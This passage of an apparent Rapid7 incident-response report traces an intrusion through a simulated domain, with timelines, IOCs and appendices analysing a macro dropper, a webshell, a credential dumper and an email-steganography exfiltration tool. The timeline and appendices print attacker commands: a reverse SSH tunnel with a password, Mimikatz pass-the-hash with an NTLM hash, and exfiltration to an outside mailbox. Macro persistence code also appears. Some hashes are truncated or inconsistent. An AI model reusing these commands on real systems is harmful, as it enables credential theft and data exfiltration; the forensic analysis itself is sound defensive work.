<td>Child Cmd: &quot;cmd.exe&quot; /c del C:\windows\temp\01.txt C:\windows\temp\m64.exe</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2022-07-14 18:12:24</td>
<td>Sysmon</td>
<td>File Deletion - TargetFilename: C:\Windows\Temp\01.txt</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2022-07-14 18:12:24</td>
<td>Sysmon</td>
<td>File Deletion - C:\Windows\Temp\m64.exe</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Table 9** - Execution of 'm64.exe'
July 15\textsuperscript{th}, 2022

**Plink.exe from ‘theblock’ | 13:33:03 UTC**

On July 15\textsuperscript{th}, 2022 at 13:28:03 UTC, the malicious actor leveraged the C2 server to instruct 'SystemFailureReport.exe' to create the binary 'C:\Users\Public\Downloads\plink.exe' on 'theblock'. At 13:33:03 UTC, 'SystemFailureReporter.exe' executed the following command under the context of the user account 'gosta':

```
C:\Users\Public\Downloads\plink.exe -ssh -N -R 192.168.0.4:13389:10.1.0.6:3389 -l saka -pw "$ceKa#zU$Uc4^9yZ" 192.168.0.4 2>&1
```

Analysis has identified the 'plink.exe' binary to be Putty, a legitimate utility used for SSH tunneling. Furthermore, these command line arguments suggest that this tunnel was used to establish an interactive Remote Desktop session from the malicious actor asset (192.168.0.4) to the Exchange server ‘waterfalls’ (10.1.0.6) with the user account ‘gosta’.

<table>
<thead>
<tr>
<th>Timestamp (UTC)</th>
<th>Source</th>
<th>Event</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-07-15 13:28:03</td>
<td>Sysmon</td>
<td>File Creation - TargetFilename: C:\Users\Public\Downloads\plink.exe</td>
<td>'SystemFailureReporter.exe' drops 'plink.exe' on the asset 'theblock'</td>
</tr>
<tr>
<td>2022-07-15 13:33:03</td>
<td>Process Creation</td>
<td>Child Cmd: C:\Windows\system32\cmd.exe /c echo y</td>
<td>'SystemFailureReporter.exe' executing 'plink.exe'</td>
</tr>
<tr>
<td>2022-07-15 13:33:03</td>
<td>Process Creation</td>
<td>Child Cmd: C:\Windows\system32\cmd.exe /S /D /c echo y</td>
<td>Execution of 'plink.exe'</td>
</tr>
</tbody>
</table>

**Mimikatz Execution on ‘waterfalls’ | 13:40:59 UTC - 13:42:06 UTC**

At 13:40:59 UTC, the malicious actor used the ‘contact.aspx’ webshell on the asset ‘waterfalls’ to upload ‘C:\Windows\System32\mom64.exe’. Rapid7 identified that the binary ‘mom64.exe’ is another renamed version of the credential stealing malware Mimikatz.

At 13:42:05 UTC, the malicious actor used the webshell ‘contact.aspx’ to execute the renamed Mimikatz binary ‘mom64.exe’ on the asset ‘waterfalls’ with the following parameters:

```
C:\Windows\System32\mom64.exe "privilege::debug" "sekurlsa::pth /user:tous /domain:BOOMBOX" 
```
Command arguments associated with this execution are indicative of Mimikatz’ ‘Pass the Hash’ functionality, targeting the domain user ‘tous’. The ‘Pass the Hash’ technique allows malicious actors to use obtained NTLM hashes of a user’s password to authenticate to additional assets and move laterally. Rapid7 previously identified that on July 14th, 2022, the malicious actor executed the initial renamed copy of Mimikatz, ‘m64.exe’, on the asset ‘waterfalls’ to dump the associated hash for the ‘tous’ account.

Table 12 - Mimikatz Execution Timeline

<table>
<thead>
<tr>
<th>Timestamp (UTC)</th>
<th>Source</th>
<th>Event</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-07-15 13:40:59</td>
<td>Sysmon</td>
<td>File Creation - TargetFilename: C:\Windows\System32\mom64.exe</td>
<td>w3wp.exe creates ‘mom64.exe’ on the asset ‘waterfalls’</td>
</tr>
<tr>
<td>2022-07-15 13:42:05</td>
<td>Sysmon</td>
<td>Process Creation - C:\Windows\System32\mom64.exe &quot;privilege::debug&quot; &quot;sekurlsa::pth /user:tous /domain:BOOMBOX /ntlm:9b7ff4cc0878bee9f099a4a7dc7227c3&quot; &quot;exit&quot;</td>
<td>‘cmd.exe’ executes renamed copy of Mimikatz</td>
</tr>
</tbody>
</table>

Lateral Movement to ‘endofroad1’ | 13:42:55 UTC

At 13:42:55 UTC, the malicious actor successfully authenticated from the asset ‘waterfalls’ to asset ‘endofroad1’, a Microsoft SQL server, with the ‘tous’ account.

Table 11 - Lateral Movement to ‘endofroad1’ Timeline

<table>
<thead>
<tr>
<th>Timestamp (UTC)</th>
<th>Source</th>
<th>Event</th>
<th>Description</th>
</tr>
</thead>
</table>

Data Exfiltration on ‘endofroad1’ | 13:43:14 UTC - 13:51:09 UTC

Shortly after at 13:43:14 UTC, the malicious actor executed the following command using a renamed copy of PsExec, ‘ps.exe’, from ‘waterfalls’ to ‘endofroad1’ using the ‘tous’ account:
The malicious actor executed a binary called 'VMware.exe' on the asset 'endofroad1' under 'C:\ProgramData\Vmware\'. Rapid7 acquired a copy of the 'VMware.exe' binary and identified that it is a file transfer software known as RDAT. The RDAT tool primarily uses emails as a C2 channel and uses steganography as a form of defense evasion to hide commands and data within Bitmap (BMP) images. RDAT splits collected data into several BMP image files using steganography and attaches them to emails being sent. Additional analysis details surrounding 'VMware.exe' can be referenced in Appendix G.

The malicious actor executed the following commands on the asset 'endofroad1' at 13:47:58 UTC and 13:51:08 UTC, respectively:

```
C:\ProgramData\Vmware\VMware.exe --path="sitedata.bak" --to="sistan@shirinfarhad.com" --from="gosta@boom.box" --server="10.1.0.6" --password="<REDACTED>" --chunksize="200000"
```

```
C:\ProgramData\Vmware\VMware.exe --path="sitedata_db.bak" --to="sistan@shirinfarhad.com" --from="gosta@boom.box" --server="10.1.0.6" --password="<REDACTED>" --chunksize="200000"
```

Command arguments observed are indicative of data exfiltration via email, transferring two files, 'sitedata_db.bak' and 'sitedata.bak' to 'sistan@shirinfarhad.com' via the 'waterfalls' asset using the 'gosta@boom.box' account's compromised credentials. Rapid7 also identified that the initial malware downloaded onto the asset 'theblock' on July 11, 2022 originated from the domain 'shirinfarhad[.]com'.

Rapid7 identified that the exfiltrated contents of the BMP files appear to contain information about the locations of international factories and industrial sites. Rapid7 can provide the raw data upon request.

<table>
<thead>
<tr>
<th>Timestamp (UTC)</th>
<th>Source</th>
<th>Event</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-07-15 13:43:14</td>
<td>Process Creation</td>
<td>Child Cmd: C:\Windows\System32\ps.exe \10.1.0.7 cmd.exe</td>
<td>Execution of renamed PsExec from 'waterfalls' to 'endofroad1'</td>
</tr>
<tr>
<td>2022-07-15 13:51:08</td>
<td>Process Creation</td>
<td>Child Cmd: C:\ProgramData\Vmware\VMware.exe --path=&quot;sitedata_db.bak&quot; --to=&quot;<a href="mailto:sistan@shirinfarhad.com">sistan@shirinfarhad.com</a>&quot; --from=&quot;<a href="mailto:gosta@boom.box">gosta@boom.box</a>&quot; --server=&quot;10.1.0.6&quot; --password=&quot;&lt;REDACTED&gt;&quot; --chunksize=&quot;200000&quot;</td>
<td>Parent Cmd: &quot;cmd.exe&quot;</td>
</tr>
</tbody>
</table>

*Steganography - [https://attack.mitre.org/techniques/T1027/003/](https://attack.mitre.org/techniques/T1027/003/)
**Cleanup / Anti-Forensics | 13:56:25 UTC - 14:03:03 UTC**

Between 13:56:25 UTC and 14:03:03 UTC, the malicious actor deleted the following files on the asset 'theblock':

<table>
<thead>
<tr>
<th>File</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>C:\ProgramData\Vmware\VMware.exe</td>
<td>RDAP file transfer tool</td>
</tr>
<tr>
<td>C:\Windows\System32\mom64.exe</td>
<td>Mimikatz</td>
</tr>
<tr>
<td>C:\Users\gosta\AppData\Roaming\b.exe</td>
<td>Credential harvesting malware</td>
</tr>
<tr>
<td>C:\Users\gosta\AppData\Roaming\fsociety.dat</td>
<td>Output of 'b.exe'</td>
</tr>
<tr>
<td>C:\Users\Public\Downloads\plink.exe</td>
<td>Putty</td>
</tr>
<tr>
<td>C:\Users\gosta\AppData\Local\SystemFailureReporter\update.xml</td>
<td>Contains string 'test'</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Timestamp (UTC)</th>
<th>Source</th>
<th>Event</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-07-15 13:56:25</td>
<td>Sysmon</td>
<td>File Deletion - TargetFilename: C:\ProgramData\Vmware\VMware.exe</td>
<td>'tous' account uses 'cmd.exe' to delete 'VMware.exe' on asset 'endofroad1'</td>
</tr>
<tr>
<td>2022-07-15 13:57:18</td>
<td>Sysmon</td>
<td>File Deletion - TargetFilename: C:\Windows\System32\mom64.exe</td>
<td>'gosta' account uses 'cmd.exe' to delete 'mom64.exe' on asset 'waterfalls'</td>
</tr>
<tr>
<td>2022-07-15 14:03:03</td>
<td>Process Creation</td>
<td>Child Cmd: C:\Windows\system32\cmd.exe /c del C:\Users\gosta\AppData\Roaming\b.exe C:\Users\gosta\AppData\Roaming\fsociety.dat C:\Users\Public\Downloads\plink.exe C:\Users\gosta\AppData\Local\SystemFailureReporter\update.xml 2&gt;&amp;1</td>
<td>'SystemFailureReporter.exe' deletes 'b.exe', 'fsociety.dat', 'plink.exe', 'update.xml' on the asset 'theblock'</td>
</tr>
<tr>
<td>2022-07-15 14:03:03</td>
<td>Sysmon</td>
<td>Process terminated - C:\Users\gosta\AppData\Local\SystemFailureReporter\SystemFailureReporter.exe</td>
<td>'SystemFailureReporter.exe' process terminated on asset 'theblock'</td>
</tr>
</tbody>
</table>
Appendix A: Impacted Accounts and Assets

**Affected Assets**

<table>
<thead>
<tr>
<th>Asset Name</th>
<th>IP Address</th>
<th>Operating System</th>
<th>Description</th>
<th>Remediation Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>theblock</td>
<td>10.1.0.5</td>
<td>Windows 10 Pro</td>
<td>Workstation</td>
<td>10.0.19044 Build 19044</td>
</tr>
<tr>
<td>waterfalls</td>
<td>10.1.0.6</td>
<td>Windows Server 2019</td>
<td>Exchange 2019</td>
<td>15.2.986.5</td>
</tr>
<tr>
<td>endofroad1</td>
<td>10.1.0.7</td>
<td>Windows Server 2019</td>
<td>SQL Server</td>
<td>10.0.17763 Build 17763</td>
</tr>
</tbody>
</table>

**Compromised Accounts**

<table>
<thead>
<tr>
<th>Compromised Account</th>
<th>Privileges</th>
<th>Remediated?</th>
<th>Remediation Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>BOOM.BOX\gosta</td>
<td>Domain Administrator</td>
<td>No</td>
<td>-</td>
</tr>
<tr>
<td>BOOM.BOX\tous</td>
<td>Domain Administrator</td>
<td>No</td>
<td>-</td>
</tr>
<tr>
<td>BOOM.BOX\HealthMailboxf418803b1c7b45429fec8ebc42271dd0</td>
<td>-</td>
<td>No</td>
<td>-</td>
</tr>
<tr>
<td>BOOM.BOX\WATERFALLS$</td>
<td>-</td>
<td>No</td>
<td>-</td>
</tr>
<tr>
<td>WATERFALLS\patchadmin</td>
<td>-</td>
<td>No</td>
<td>-</td>
</tr>
</tbody>
</table>
## Appendix B: Indicators of Compromise

### File-Based Indicators

Table 14 shows malware Rapid7 identified during the investigation:

<table>
<thead>
<tr>
<th>Asset</th>
<th>File Name</th>
<th>File Path</th>
<th>SHA256</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>theblock</td>
<td>Marketing_Materials.zip</td>
<td>C:\Users\gosta\Downloads\</td>
<td>AE2D5040B3FBB15C0FCD40F03C590DC6E6924BB1558085AC73A0DD2A9413E90</td>
<td>zip file containing malware dropper</td>
</tr>
<tr>
<td>theblock</td>
<td>GGMS Overview.doc</td>
<td>C:\Users\gosta\AppData\Local\Temp\Temp1_Marketing_Materials.zip\</td>
<td>7DBDBE920A26D0DF18D23E5CDEF8B61B1116D74D88CF303079557B734467519BA9</td>
<td>Dropper for 'SystemFailureReporter.exe'</td>
</tr>
<tr>
<td>theblock</td>
<td>SystemFailureReporter.exe</td>
<td>C:\Users\gosta\AppData\Local\SystemFailureReporter\</td>
<td>C77E9ABD463F425B3E98A2BE4F74718F9DF914B182A46650FA69B47BA2385B</td>
<td>SideTwist malware</td>
</tr>
<tr>
<td>theblock</td>
<td>SystemFailureReport</td>
<td>C:\Windows\System32\Tasks\</td>
<td>884EF13CE9BD1119DAC0BF3857EF845EB608BB4216E1AEDE8325507F81D772</td>
<td>SideTwist malware scheduled task</td>
</tr>
<tr>
<td>theblock</td>
<td>update.xml</td>
<td>C:\Users\gosta\AppData\Local\SystemFailureReporter\</td>
<td>FE520676B1A1D93DABAB2319EAA03674F3632EAEEB1631E8244F5EB1DE10EB</td>
<td>SideTwist malware xml file</td>
</tr>
<tr>
<td>waterfalls</td>
<td>t.txt</td>
<td>C:\Users\gosta\AppData\Local\</td>
<td>E79E418E48623569D75E2A7B9AE88ED9B7B126A445B9FF9DC6989A0EFA079</td>
<td>SideTwist malware test file</td>
</tr>
<tr>
<td>theblock</td>
<td>b.exe</td>
<td>C:\Users\gosta\AppData\Roaming\</td>
<td>08A62DF8353E386EC3167797A3FB6DCF44A6546B3279337B8FC69BD43E6362</td>
<td>Windows Credential Locker Dumper</td>
</tr>
<tr>
<td>theblock</td>
<td>fsociety.dat</td>
<td>C:\Users\gosta\AppData\Roaming\</td>
<td>30AD18E0B3CE5AB27A308098F43E1457E55F7CCE7461F0FFA4EA52B2BFBC</td>
<td>SQLite database containing credentials for <a href="mailto:gosta@boom.box">gosta@boom.box</a> account</td>
</tr>
<tr>
<td>theblock</td>
<td>contact.aspx</td>
<td>C:\Users\Public\</td>
<td>716E419EA23926C1FDEB10C1699D7084B87D71F429B8E938067C320B2A93168</td>
<td>Webshell with upload, download, execution, and deletion capabilities</td>
</tr>
<tr>
<td>waterfalls</td>
<td>contact.aspx</td>
<td>C:\Program\</td>
<td>716E419EA23926C1FDEB10</td>
<td>Webshell with</td>
</tr>
</tbody>
</table>
### Network-Based Indicators

Table 15 shows malicious domains and IP addresses identified during the investigation:

<table>
<thead>
<tr>
<th>IP Address</th>
<th>Domain</th>
<th>Notes</th>
<th>Remediated?</th>
<th>Remediation Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>-</td>
<td>shirinfarhad[]com</td>
<td>URL used to download <a href="#">Marketing_Materials.zip</a></td>
<td>No</td>
<td>-</td>
</tr>
<tr>
<td>192.168.0[]4</td>
<td>dungeon</td>
<td>C2 ‘SystemFailureReporter.exe’ - Executed as a result of opening ‘GGMS Overview.doc’</td>
<td>No</td>
<td>-</td>
</tr>
<tr>
<td>-</td>
<td>sistan@shirinfarhad[]com</td>
<td>Database data was emailed to this address</td>
<td>No</td>
<td>-</td>
</tr>
</tbody>
</table>
Appendix C: ‘GGMS Overview.doc’ Analysis

On July 11\textsuperscript{th}, 2022 at 13:49:25 UTC, the user ‘gosta’ opened the ‘GGMS Overview.doc’ document contained within the archive file ‘Marketing_Materials.zip’ on the asset ‘theblock’. Rapid7 acquired and performed forensic analysis of ‘GGMS Overview.doc’. Rapid7’s analysis identified that ‘GGMS Overview.doc’ contains malicious VBA Macros that execute upon file opening.

‘GGMS Overview.doc’ File Metadata:

| **GGMS Overview.doc:** Composite Document File V2 Document, Little Endian |
| **Os:** Windows, Version 10.0 |
| **Code page:** 1252 |
| **Title:** Ganjavi Global Marketing Services |
| **Template:** Small business startup checklist |
| **Revision Number:** 1 |
| **Name of Creating Application:** Microsoft Office Word |
| **Create Time/Date:** 2022-05-03 07:00:00 |
| **Last Saved Time/Date:** 2022-05-03 12:55:00 |
| **Number of Pages:** 2 |
| **Number of Words:** 305 |
| **Number of Characters:** 1742 |
| **Security:** 0 |

**SHA256:** 7ddb0e920a26d0df18d23e5cde86b1116d74d88cf303079557b734467519ba9
**SHA1:** aca3408823b1e226206b5042136e78f29f7cf12f
**MD5:** 7530a5fa5fa97fd54b738e35c0e45d90

Malicious VBA Macros Key Functions:

- Detecting sandbox environments
- Creating and deleting a file ‘C:\Users\[user]\AppData\Local\t.txt’ to test directory write permissions.
- Creating the file ‘C:\Users\[user]\AppData\Local\SystemFailureReporter\update.xml’, containing the string ‘test’.
- Dropping a malicious Base64 encoded payload to ‘C:\Users\[user]\AppData\Local\SystemFailureReporter\b.doc’.
- Renaming ‘b.doc’ to ‘SystemFailureReporter.exe’ upon document close.
- Create a scheduled task called ‘SystemFailureReporter’ to execute ‘SystemFailureReporter.exe’ every 5 minutes while an interactive logon trigger is satisfied

Below are redacted samples of key functions extracted from the malicious VBA Macros:
Creating Scheduled Task:

```vbscript
Function SchTask(TaskName As String, DirPath As String, Interval As Integer)
    Dim schSvc
    Set schSvc = CreateObject("Schedule.Service")
    Call schSvc.Connect

    REDACTED

    Dim logonTrigger
    Set logonTrigger = taskTriggers.Create(TriggerIdLogon)
    logonTrigger.ID = TaskName & "," & "LogonTrigger"
    logonTrigger.UserID = Environ("userdomain") & \\
" & Environ("username")

    Set repPattern = logonTrigger.Repetition
    repPattern.Interval = "PT" & Interval & "M"

    Const ActionIdExecutable = 0
    Dim taskAction
    Set taskAction = taskDef.Actions.Create(ActionIdExecutable)
    taskAction.path = DirPath & \\
" & TaskName & ",e" & ",xe"

    Call rootTaskFolder.RegisterTaskDefinition(TaskName, taskDef, 6, 3)
End Function
```

Document Open Triggers:

```vbscript
Sub Document_Open()
    domainName = ""
    bslash = "\\"
    hostChunk = LCase(Environ("computername"))
    hostChunk = Mid(hostChunk, Len(hostChunk) - 3, 4)
    userChunk = Mid(LCase(Environ("userchunk")), 1, 3)
    If Application.Visible Then
        If Application.MouseAvailable = False Then
            MsgBox "Microsoft Visual C++ Redistributable Error:0x801" Exit Sub
        Else
            mainTargetPath = LCase(Environ("localappdata"))
            targetSubfolder = 'System' & 'Failure' & 'Reporter'
            If DirIsWritable(mainTargetPath) Then
                MkDir mainTargetPath & bslash & targetSubfolder
            End If
    t = ""
    t = UserForm1.TextBox1.Text
    output = b64Dec(t)
    t = writeFile(mainTargetPath & bslash & targetSubfolder & bslash & "b," & "doc", output)
    t = writeFile(mainTargetPath & bslash & targetSubfolder & bslash & "update," & "xml", "test")
End If
End If
End Sub
```
Document Close Triggers:

Sub Document_Close()

    If Application.Visible Then
        If Application.MouseAvailable = False Then
            MsgBox "Microsoft Visual C++ Redistributable Error:0x802"
            Exit Sub
        Else
            Set fso = CreateObject("Scripting.FileSystemObject")
            pth = mainTargetPath & bslash & targetSubfolder & bslash
            a = pth & "b." & "doc"
            b = pth & "System" & "Failure" & "Report" & ".ex" & "e"
            If fso.FileExists(a) And Not (fso.FileExists(b)) Then
                Name a As b
            End If
            Result = SchTask(targetSubfolder, mainTargetPath & bslash & targetSubfolder, 5)
        End If
    End If
End Sub
Appendix D: ‘SystemFailureReporter.Exe’ Analysis

Forensic analysis of the ‘SystemFailureReporter.exe’ binary revealed that it shares similarities with the ‘SideTwist’ malware family. The acquired sample contains overlapping C2 functionality, including the ability to transfer files and execute arbitrary commands. Specifically, instructions are acquired by leveraging the native winhttp.dll libraries and performing HTTP GET requests to the C2 server controlled by the malicious actor.

The HTTP GET requests also contain a user-agent of ‘WinHTTP Example/1.0’ and take the following format: <http://[IP_Address]:443/search/{Host Identifier}>.

http://192.168.0.4:443/search/{Host Identifier}

The Host Identifier is a 4-byte (4 character) identifier dynamically determined based on Windows API calls to the victim asset that are based on username, computer name, and domain name.

- **First 2 characters** = first 2 characters of return of GetUserNameW OR on GetUserNameW failure, ‘UN’
- **3rd character** = first character of return of GetComputerNameW OR C
- **4th character** = first character of return of GetComputerNameExW (passing ComputerNameDnsDomain) OR ‘W’ if there is no domain
This was acquired via the debugging process. It depicts arguments passed to a helper HTTP communication function, containing the following arguments (NBI, GET method, remote HTTP URI).

Depicts the three functions that form the identifier `/search/{x}` for the victim.
Appendix E: ‘b.exe’ Analysis

Analysis of file ‘b.exe’ indicates that it operates similarly to that of ValueVault. ValueVault is a Golang compiled version of the ‘Windows Vault Password Dumper’ browser credential theft tool. Rapid7 identified what appears to be remnants of DWARF debug information.

The following is a list of internal function names pulled from within DWARF:

```
attackevals_mitre_engenuity_org_valuevault_db___SQLiteRepository___InsertLogin
attackevals_mitre_engenuity_org_valuevault_db___SQLiteRepository___CreateLoginsTable
attackevals_mitre_engenuity_org_valuevault_db_GetDBNameFilePath
attackevals_mitre_engenuity_org_valuevault_db_InitializeDB
attackevals_mitre_engenuity_org_valuevault_vault_utf16PtrToString
attackevals_mitre_engenuity_org_valuevault_vault_DumpVaultWin8
attackevals_mitre_engenuity_org_valuevault_vault_DumpVaultWin7
attackevals_mitre_engenuity_org_valuevault_vault_IsWindows8orGreater
attackevals_mitre_engenuity_org_valuevault_vault_DumpVault
attackevals_mitre_engenuity_org_valuevault_vault_init

type_eq_attackevals_mitre_engenuity_org_valuevault_vault_vaultElement
```

The execution of file ‘b.exe’ results in the creation and initialization of a sqlite repository named ‘fsociety.dat’, which is stored within ‘%appdata%’.

The following is a Sysmon attribution of file ‘b.exe’ writing a SQLite database file called ‘fsociety.dat’

```
"EventData": {
  "Data": [{
    "@Name": "RuleName",
    "#text": ""
  }, {
    "@Name": "UtcTime",
    "#text": "2022-07-12 15:04:40.071"
  }, {
    "@Name": "User",
    "#text": "BOOMBOX\gosta"
  }, {
    "@Name": "Image",
    "#text": "C:\Users\gosta\AppData\Roaming\b.exe"
  }, {
    "@Name": "TargetFilename",
    "#text": "C:\Users\gosta\AppData\Roaming\fsociety.dat-journal"
  }
}
```

The following is an overview of the ‘fsociety.dat’ table schema:
Upon execution of ‘b.exe’, the host operating system is then enumerated via the ‘GetVersion’ function to determine if the windows credential vault is dumped with an older version of Windows (Windows 7) or newer (Windows 8+). The resulting information is then formatted into the ‘logins’ table and written to the database. Execution of ‘b.exe’ resulted in the successful enumeration of the credentials for user, ‘gosta’.

The following is the ‘logins’ table, the output is created as ‘fsociety.dat’ upon execution of ‘b.exe’:

```
CREATE TABLE IF NOT EXISTS logins(
  origin_url VARCHAR NOT NULL,
  username_value VARCHAR,
  password VARCHAR
);
```
Appendix F: ‘Contact.aspx’ Analysis

Analysis of the webshell file ‘C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\exchweb\ews\contact.aspx’ revealed that it was functionally consistent with the ‘TwoFace’ webshell family.

The webshell first confirms if it received a POST request, then processes it through a series of functions that verify if the POST data has a form that matches expected input:

```csharp
protected void Page_Load(object sender, EventArgs e) {
    if (Request.RequestType == "POST") {
        AdditionalInfo.InnerText = "\n"
        HandlePOSTCmdExecute();
        HandlePOSTFileUploadTemp();
        HandlePOSTFileUploadServer();
        HandlePOSTFileDownloadServer();
        HandlePOSTFileDeleteTemp();
    }
}
```

The following figure provides an overview of the functionality of each of the ‘Page_Load’ functions:

- **HandlePOSTCmdExecute**
  - Requires passing form data keys such as 'pro=cmd.exe'
  - "cmd=ipconfig /all"
    - Remote Code Execution
  - To execute the cmd key, the malicious actor can utilize either 'cmd.exe /c' or 'powershell.exe -ExecutionPolicy bypass -NonInteractive' depending on passed data from 'key: pro'

- **HandlePOSTFileUploadTemp**
  - Requires passing form data keys such as 'upd=myfile.txt' 'upb=ZXhhbXBsZQ=='
    - Remote file upload to System.IO.Path.GetTempPath(); (temp)

- **HandlePOSTFileUploadServer**
  - Requires passing form data keys such as 'upl=file1' 'sav=C:\Users\Public\' 'vir=false'
    - 'nen=destname.txt' 'file1=@file.txt'
    - Remote file upload to a specified path

- **HandlePOSTFileDownloadServer**
  - Requires passing form data keys such as 'don=C:\Users\Public\file.txt'
    - Remote file retrieval
HandlePOSTFileDeleteTemp

- Requires passing form data keys such as "del=file.txt"
  - Remote file deletion from System.IO.Path.GetTempPath(); (temp)

Below is a screenshot of the appended HTML rendered in a browser via a GET request. While the web server would likely respond with a 200 status code for this request, the HTML sample shows a hard-coded 404 error code.

The following screenshot shows an HTML rendering of the response to a POST request which contained an 'ipconfig /all' command:
Appendix G: ‘VMware.exe’ Analysis

Forensic analysis of ‘VMware.exe’ revealed that the binary was a renamed copy of RDAT. ‘VMware.exe’ is a 55 MB .NET Portable Executable (PE) that has the functionality to exfiltrate data via email and through the use of steganography by appending data to image files.
Analysis revealed the different functions defined within 'VMWare.exe' which contain 'SendEmail', 'AppendBmp', 'RestoreBmp', 'ChunkAndSend', 'CopyAndSend', and 'Usage'.

The 'Usage' function shown below defines help functions for the command line argument when the command 'VMWare.exe --help' is run.

Based on that information Rapid7 determined that the commands the malicious actor executed in the MITRE environment provided the following parameters:

```plaintext
C:\ProgramData\Vmware\VMware.exe --path="sitedata_db.bak" --to="sistan@shirinfarhad.com" --from="gosta@boom.box" --server="10.1.0.6" --password="<REDACTED>" --chunksize="200000"

C:\ProgramData\Vmware\VMware.exe --path="sitedata.bak" --to="sistan@shirinfarhad.com" --from="gosta@boom.box" --server="10.1.0.6" --password="<REDACTED>" --chunksize="200000"
```

The parameters for both commands are exactly the same except for the 'path' which was specified as 'sitedata_db.bak' in the first execution of the command and 'sitedata.bak' in the second execution of the command. These file names are the files that were exfiltrated from the asset 'endofroad1'.
The other parameters define how the data is exfiltrated. The ‘to’ field shows the email address sistan@shirinfarhad[.]com as the destination email address. The domain ‘shirinfarhad[.]com’ was used by the malicious actor to host the original malware, ‘GGMS Overview.doc’. The ‘from’ field shows which account the malicious actor used to send the email. In this case it was the previously compromised user, ‘gosta@boom[.]box’. The ‘password’ field contains the password of the previously compromised user, ‘gosta@boom[.]box’. The ‘server’ field shows the exchange server to use, in this case, ‘10.1.0[.]6’, which is the asset ‘waterfalls’. Lastly, the ‘chunksize’ field shows how many bytes will be appended to the image, ‘guest.bmp’ before a new version of the file is created. In this case, the malicious actor specified ‘200000’ bytes.

Analysis shows that the ‘CopyGuestBmp’ function copies ‘guest.bmp’ from ‘C:\ProgramData\Microsoft\User Account Pictures\guest.bmp’.

```csharp
private void CopyGuestBmp()
{
    string text = "C:\ProgramData\Microsoft\User Account Pictures\guest.bmp";
    if (File.Exists(text))
    {
        File.Copy(text, localbmp, true);
        File.Copy(text, localbmptmp, true);
    }
    else
    {
        Environment.Exit(0);
    }
}
```

The file size of the original ‘guest.bmp’ file is exactly 602,168 bytes. Rapid7 recovered 7 deleted .bmp files that are 802,168 bytes in size, exactly 200,000 bytes larger than the original file. Rapid7 confirmed the data appended to these recovered BMP files contain information about the locations of factories and industrial sites across the globe.

The ‘ChunkAndSend’ function shows how the data is appended and emailed to the destination email address.
using ...

private void ChunkAndSend()
{
    //IL_0008: Unknown result type (might be due to invalid IL or missing references)
    //IL_000e: Expected 0, but got Unknown
    //IL_001d: Unknown result type (might be due to invalid IL or missing references)
    FileStream val = new FileStream(filepath, FileMode.Create, FileAccess.Read);
    try
    {
        byte[] array = new byte[chunksize];
        int num = 1;
        new UTF8Encoding(true);
        while (((Stream)val).Read(array, 0, array.Length) > 0)
        {
            AppendBmp(array);
            SendMessage(num);
            RestoreBmp();
            num++;
        }
    }
    finally
    {
        ((System.IDisposable)val)?.Dispose();
    }
}